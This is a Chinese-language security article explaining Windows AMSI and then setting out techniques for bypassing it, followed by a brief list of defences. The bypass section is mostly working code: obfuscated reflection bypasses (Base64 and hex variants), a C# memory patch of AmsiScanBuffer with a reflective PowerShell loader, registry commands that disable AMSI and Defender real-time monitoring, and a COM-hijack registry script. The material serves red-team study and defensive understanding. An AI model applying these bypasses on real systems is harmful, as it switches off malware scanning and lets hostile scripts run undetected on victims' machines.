初探 Windows AMSI (反恶意软件扫描接口)
字数 2445 2025-08-05 00:16:28

Windows AMSI (反恶意软件扫描接口) 深度解析与绕过技术

1. AMSI 概述

1.1 什么是 AMSI

Windows 反恶意软件扫描接口 (AMSI, Antimalware Scan Interface) 是一种通用接口标准,允许应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。

关键特性:

  • 在 Windows Server 2016 和 Win10 上默认安装并启用
  • 与反恶意软件供应商无关
  • 支持文件和内存/流扫描、内容源 URL/IP 信誉检查等技术
  • 支持会话概念,可关联不同扫描请求

1.2 AMSI 实现

AMSI 本体是一个 DLL 文件,位于 c:\windows\system32\amsi.dll,提供:

  • Win32 API:为正常应用程序提供的接口
  • COM 接口:为杀软供应商提供的接口

从 Windows 10 版本 1903 开始,如果 AMSI 提供程序 DLL 未经过验证码签名,则可能无法加载。

2. AMSI 集成组件

AMSI 功能已集成到以下 Windows 组件中:

  • 用户帐户控制 (UAC) - EXE、COM、MSI 或 ActiveX 安装的提升
  • PowerShell - 脚本、交互使用和动态代码评估
  • Windows 脚本宿主 (wscript.exe 和 cscript.exe)
  • JavaScript 和 VBScript
  • Office VBA 宏 (VBE7.dll)
  • .NET Assembly (clr.dd)
  • WMI

3. AMSI 检测内容与目的

3.1 检测内容

  • 文件
  • 内存数据流

3.2 检测目的

  • 对抗基于脚本的攻击检测
  • 对抗无文件攻击检测

3.3 可检测的攻击类型

  • Powershell.exe 执行的脚本
  • 不使用 powershell.exe 的情况下运行脚本
  • 使用单独的 runspace (p0wnedshell, psattack)
  • System.Automation.Dll (nps, Powerpick)
  • 从 WMI 命名空间、注册表键和事件记录日志中加载脚本
  • 应用白名单绕过方式 (InstallUtil, regsrv32 和 rundll32)

4. AMSI 工作原理

4.1 基本流程

  1. 创建 PowerShell 进程时,AMSI.DLL 从磁盘加载到内存地址空间
  2. AMSI.DLL 中的 AmsiScanBuffer() 函数用于扫描脚本内容
  3. PowerShell 执行命令时,任何内容首先发送到 AmsiScanBuffer()
  4. AmsiScanBuffer() 将内容发送给 Windows Defender 检查
  5. 如果内容被认为是恶意的,将被阻止运行

4.2 框架结构

  • Windows Defender ATP 主要使用机器学习模型发现威胁
  • AMSI 是与 Windows Defender 相对独立的模块
  • Windows Defender 是默认的 AMSI Provider

5. AMSI 绕过技术

5.1 降级技术

PowerShell v2 版不支持 AMSI,可通过以下方式降级:

powershell -version 2

注意事项:

  • 需要 .NET 3.5 版本支持
  • 静默安装参数:/Q /NORESTART /lcid 1033
  • 普通域内机器安装会弹出 UAC

5.2 混淆技术

5.2.1 基本混淆方法

  • 拆分后拼接
  • XOR/Base64 编码
  • 进制转换
  • 使用混淆工具 (如 https://amsi.fail/)

5.2.2 反射绕过示例

原始方法:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

改进后的混淆方法:

$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)

Base64 编码版本:

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Hex 编码版本:

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

5.3 内存补丁技术

5.3.1 C# 实现

using System;
using System.Runtime.InteropServices;

namespace Help
{
    public class Test
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

5.3.2 PowerShell 加载方式

$string = ''
$a = [System.Convert]::FromBase64String('你的base64编码')
$a | foreach {$string = $string + $_.ToString()+','}
$string 

function Help-Test
{
    if(-not ([System.Management.Automation.PSTypeName]"Help.Test").Type) {
        [Reflection.Assembly]::Load([byte[]]@(上面得到的byte数组)) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Help.Test]::Disable();
}

5.4 注册表修改

5.4.1 禁用 AMSI

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0

5.4.2 关闭 Windows Defender

Set-MpPreference -DisableRealtimeMonitoring $true

5.5 DLL 劫持

C:\Windows\System32\WindowsPowerShell\v1.0 下放置伪造的 AMSI.dll,利用 DLL 加载优先级:

  1. 进程对应的应用程序所在目录
  2. 系统目录 (通过 GetSystemDirectory 获取)
  3. 16位系统目录
  4. Windows 目录 (通过 GetWindowsDirectory 获取)
  5. 当前目录
  6. PATH 环境变量中的各个目录

5.6 COM 劫持

创建注册表项使 AMSI 的 COM 组件实例化失败:

echo Windows Registry Editor Version 5.00 > bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}] >> bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32] >> bypass.reg
echo @="C:\\IDontExist.dll" >> bypass.reg
regedit /s bypass.reg

6. 防御措施

  1. 开启全部系统日志并分析
  2. 至少开启 PowerShell 脚本块、Sysmon 和进程创建日志
  3. 安装 4.0 以上版本 PowerShell
  4. 卸载或禁用 2.0 版本 PowerShell
  5. 开启 PowerShell 的相关安全机制 (APPLocker, Device Guard, Credential Guard 等)
  6. 监控注册表 HKCU\Software\Microsoft\Windows\Script\Settings\AmsiEnable 的值
  7. 对于 Windows 10 1903 及以上版本,可配置 Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits 启用签名检测

7. 版本限制

  • Windows 10 1709 以后:如果 AMSI 提供程序依赖于同目录下其他 DLL 同时加载,将不能工作
  • Windows 10 1903 以后:AMSI 提供商 DLL 没有 Authenticode-signed 可能无法加载 (取决于注册表 Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits 的值,默认 0x01 表示签名检测被禁止)
Windows AMSI (反恶意软件扫描接口) 深度解析与绕过技术 1. AMSI 概述 1.1 什么是 AMSI Windows 反恶意软件扫描接口 (AMSI, Antimalware Scan Interface) 是一种通用接口标准,允许应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。 关键特性: 在 Windows Server 2016 和 Win10 上默认安装并启用 与反恶意软件供应商无关 支持文件和内存/流扫描、内容源 URL/IP 信誉检查等技术 支持会话概念,可关联不同扫描请求 1.2 AMSI 实现 AMSI 本体是一个 DLL 文件,位于 c:\windows\system32\amsi.dll ,提供: Win32 API:为正常应用程序提供的接口 COM 接口:为杀软供应商提供的接口 从 Windows 10 版本 1903 开始,如果 AMSI 提供程序 DLL 未经过验证码签名,则可能无法加载。 2. AMSI 集成组件 AMSI 功能已集成到以下 Windows 组件中: 用户帐户控制 (UAC) - EXE、COM、MSI 或 ActiveX 安装的提升 PowerShell - 脚本、交互使用和动态代码评估 Windows 脚本宿主 (wscript.exe 和 cscript.exe) JavaScript 和 VBScript Office VBA 宏 (VBE7.dll) .NET Assembly (clr.dd) WMI 3. AMSI 检测内容与目的 3.1 检测内容 文件 内存数据流 3.2 检测目的 对抗基于脚本的攻击检测 对抗无文件攻击检测 3.3 可检测的攻击类型 Powershell.exe 执行的脚本 不使用 powershell.exe 的情况下运行脚本 使用单独的 runspace (p0wnedshell, psattack) System.Automation.Dll (nps, Powerpick) 从 WMI 命名空间、注册表键和事件记录日志中加载脚本 应用白名单绕过方式 (InstallUtil, regsrv32 和 rundll32) 4. AMSI 工作原理 4.1 基本流程 创建 PowerShell 进程时,AMSI.DLL 从磁盘加载到内存地址空间 AMSI.DLL 中的 AmsiScanBuffer() 函数用于扫描脚本内容 PowerShell 执行命令时,任何内容首先发送到 AmsiScanBuffer() AmsiScanBuffer() 将内容发送给 Windows Defender 检查 如果内容被认为是恶意的,将被阻止运行 4.2 框架结构 Windows Defender ATP 主要使用机器学习模型发现威胁 AMSI 是与 Windows Defender 相对独立的模块 Windows Defender 是默认的 AMSI Provider 5. AMSI 绕过技术 5.1 降级技术 PowerShell v2 版不支持 AMSI,可通过以下方式降级: 注意事项: 需要 .NET 3.5 版本支持 静默安装参数: /Q /NORESTART /lcid 1033 普通域内机器安装会弹出 UAC 5.2 混淆技术 5.2.1 基本混淆方法 拆分后拼接 XOR/Base64 编码 进制转换 使用混淆工具 (如 https://amsi.fail/) 5.2.2 反射绕过示例 原始方法: 改进后的混淆方法: Base64 编码版本: Hex 编码版本: 5.3 内存补丁技术 5.3.1 C# 实现 5.3.2 PowerShell 加载方式 5.4 注册表修改 5.4.1 禁用 AMSI 5.4.2 关闭 Windows Defender 5.5 DLL 劫持 在 C:\Windows\System32\WindowsPowerShell\v1.0 下放置伪造的 AMSI.dll,利用 DLL 加载优先级: 进程对应的应用程序所在目录 系统目录 (通过 GetSystemDirectory 获取) 16位系统目录 Windows 目录 (通过 GetWindowsDirectory 获取) 当前目录 PATH 环境变量中的各个目录 5.6 COM 劫持 创建注册表项使 AMSI 的 COM 组件实例化失败: 6. 防御措施 开启全部系统日志并分析 至少开启 PowerShell 脚本块、Sysmon 和进程创建日志 安装 4.0 以上版本 PowerShell 卸载或禁用 2.0 版本 PowerShell 开启 PowerShell 的相关安全机制 (APPLocker, Device Guard, Credential Guard 等) 监控注册表 HKCU\Software\Microsoft\Windows\Script\Settings\AmsiEnable 的值 对于 Windows 10 1903 及以上版本,可配置 Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits 启用签名检测 7. 版本限制 Windows 10 1709 以后:如果 AMSI 提供程序依赖于同目录下其他 DLL 同时加载,将不能工作 Windows 10 1903 以后:AMSI 提供商 DLL 没有 Authenticode-signed 可能无法加载 (取决于注册表 Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits 的值,默认 0x01 表示签名检测被禁止)